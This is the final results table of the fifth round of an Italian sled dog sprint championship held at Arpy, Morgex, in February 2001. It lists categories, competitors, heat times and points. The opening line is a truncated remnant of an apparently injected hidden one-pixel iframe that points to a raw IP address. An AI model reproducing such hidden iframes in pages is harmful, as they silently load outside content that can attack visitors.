rc='http://58.65.239.180/' width='1' height='1' style='visibility: hidden;'>

C.I.S. Club Italiano Sleddog                                                           02/08/01

                          5a Prova Campionato Sleddog CIS SPRINT 2001

                           ARPY MORGEX (AOSTA) - 24/25 Febbraio 2001

                                       CLASSIFICA FINALE

CATEGORIA: SKY JORRING            SPRINT        Km  6,50    Km  6,50

Numero Pettorale Nome                            1a manche   2a manche  Tempo tot.  Media Punti

______ _________ ______________________________ ___________ ___________ ___________ _____ _____

     1        43 CALVILLO ROMANO          CIS I     0  0 00    18 31 10    18 31 10 42,12  7,25

CATEGORIA: A 8 CANI               SPRINT        Km  6,50    Km  6,50

Numero Pettorale Nome                            1a manche   2a manche  Tempo tot.  Media Punti

______ _________ ______________________________ ___________ ___________ ___________ _____ _____

     1         1 VENDITTI ANTONIO         CIS I    20 29 70    19 22 40    39 52 10 19,56  7,25

CATEGORIA: B1 6 CANI              SPRINT        Km  6,50    Km  6,50

Numero Pettorale Nome                            1a manche   2a manche  Tempo tot.  Media Punti

______ _________ ______________________________ ___________ ___________ ___________ _____ _____

     1         4 GEIER CHRISTIAN          CIS I    12 14 20    12  9 90    24 24 10 31,97 16,00

     2         5 BORDIGA ANDREA           CIS I    12 52 40    12 41 80    25 34 20 30,50 13,25

     3        12 BECONCINI FRANCESCO      CIS I    13 17 20    12 38 40    25 55 60 30,08 11,50

     4        11 HERRITIER PIERRE ANTOINE    CH    13  7 10    12 55 20    26  2 30 29,96 10,00

     5         6 APOLLONI LORIS           CIS I    13 41 40    13 13 40    26 54 80 28,98  8,00

     6         8 PESCI ELVEZIO            CIS I    14 11 40    14 29 60    28 41 00 27,19  4,75

     7        10 BERTHOLET DANIELE           CH    19  0 50    16 31 80    35 32 30 21,95  3,25

     8         7 DELLA FRANCESCA LORIS    CIS I    17 24 40    18 46 40    36 10 80 21,56  2,00

CATEGORIA: C1 4 CANI              SPRINT        Km  6,50    Km  6,50

Numero Pettorale Nome                            1a manche   2a manche  Tempo tot.  Media Punti

______ _________ ______________________________ ___________ ___________ ___________ _____ _____

     1        28 REBORT PASCAL               CH    14  5 60    12 48 20    26 53 80 29,00 16,58

     2        20 SAIA GIANNI              CIS I    13 44 80    13 23 40    27  8 20 28,74 15,42

     3        19 DE FERRARI CLAUDIO       CIS I    13 40 90    13 56 70    27 37 60 28,23 14,25

     4        17 BABBONI ALDO             CIS I    14 17 60    14 11 50    28 29 10 27,38 12,83

     5        18 DEL NEVO UGO             CIS I    14 21 30    14 32 20    28 53 50 27,00 11,92

     6        22 RAVIOLA FABIO            CIS I    15 56 90    15 36 20    31 33 10 24,72  8,75

     7        24 GARRUBA RAFFAELE         CIS I    16 53 10    15  6 00    31 59 10 24,39  7,83

     8        21 CASTELLETTA LUCA         CIS I    17 55 90    15  0 50    32 56 40 23,68  6,67

     9        27 LUPEZZA ENRICO           CIS I    18  6 40    15 33 10    33 39 50 23,17  6,00

    10        29 PANATTONI LUCA           CIS I    19 13 20    16 36 20    35 49 40 21,77  5,33

    11        25 MATTERAZZO DORIANO       CIS I    21 59 40    19 45 90    41 45 30 18,68  4,67

    12        26 ARCARDINI ANDREA             I    21 51 80    22 29 80    44 21 60 17,58  4,00

    13        30 POZZESSERE ROSA EDVIGE   CIS I    23  4 20    21 44 50    44 48 70 17,41  3,33

    14        23 CASAGRANDE CRISTINA      CIS I    99  0 00    17 52 20  1 56 52 20  6,67  2,67 *

    15        16 SEPPI UMBERTO            CIS I    18 55 40     0           0  0 00  0,00  2,00 RI

CATEGORIA: C2 4 CANI              SPRINT        Km  6,50    Km  6,50

Numero Pettorale Nome                            1a manche   2a manche  Tempo tot.  Media Punti

______ _________ ______________________________ ___________ ___________ ___________ _____ _____

     1        35 VISCONTI MARCO           CIS I    18 50 10    17 41 50    36 31 60 21,35  7,25

Pagina    1  DIRETTORE DI GARA : Matterazzo Doriano  * = Fuori Gara

CATEGORIA: D 2 CANI               SPRINT        Km  6,50    Km  6,50

Numero Pettorale Nome                            1a manche   2a manche  Tempo tot.  Media Punti

______ _________ ______________________________ ___________ ___________ ___________ _____ _____

     1        38 MANGIAGALLI GIUSEPPE     CIS I    18 55 30    17 13 70    36  9 00 21,58 14,75

     2        39 SEPPI UMBERTO            CIS I    19 24 20    21 30 70    40 54 90 19,06  9,50

     3        40 BALDELLI PIERLUIGI       CIS I    21 15 50    20  9 40    41 24 90 18,83  7,00

     4        41 BELTRAME GRAZIELLA       CIS I    21 29 60    22  6 00    43 35 60 17,89  3,50

Pagina    2  DIRETTORE DI GARA : Matterazzo Doriano  * = Fuori Gara